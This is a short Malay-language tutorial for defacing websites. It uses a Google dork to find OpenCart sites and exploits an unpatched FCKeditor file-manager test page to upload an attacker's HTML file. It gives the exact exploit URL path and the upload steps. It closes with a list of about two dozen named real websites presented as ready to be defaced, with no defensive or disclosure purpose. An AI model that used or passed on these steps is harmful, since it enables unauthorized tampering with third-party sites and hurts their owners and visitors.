Deface Tutorial Version 1 (fckeditor)

Assalamualaikum semua , cara-2 mendeface website senag sahaja , caranya mudahsaja .

caranya seperti berikut .


deface menggunakan file.html


dork : :Powered by Opencart site:.com

:SUPPORT BY OPENCART



[+] exploit : /admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html



msukan dork digoogle..

cari satu persatu web yg msih punya bug (belum di patch)



terus msukan exploitnya..

contoh :

www.situstarget.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html





-ganti connector : ASP ke PHP

-pilih file

-upload



okay , macam mana dengan pencarian website target ?

kalau sudah jumpa ,

tambah dibelakangnya seperti berikut:



www.situstarget.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/FileKamu.html

jadi :

www.situstarget.com/NamaFileKorang.html

enter.....

selesai :D



ini website yang tersedia untuk di deface .





http://bestonlinediscounts.net/

http://wenrestaurant.com/

http://ruthsgarden.com/

http://www.utahflowers.net?/

http://www.inlove.my/

http://megamall.com.pk/

http://stefanyboutique.com?/

http://www.inputandanalysis.com/

http://www.virtualgeorge.info/

http://iphoneclone.biz/

http://amourcristallis.com?/

http://www.eesnet.org/

http://www.schoolshopper.com.au/

http://www.mymaxi.nl/

http://wiretek.net/

http://shop.tjokgus.com/

http://www.aquariumsystem.it/

http://uae-shopper.com/

http://organicjewelries.com/

http://www.granmasantiques.com/

http://avocadogenie.com/

http://www.inputandanalysi?s.com/

http://www.utahflowers.net/

http://stefanyboutique.com/

http://amourcristallis.com/

Credit to: Cat-Evilcodes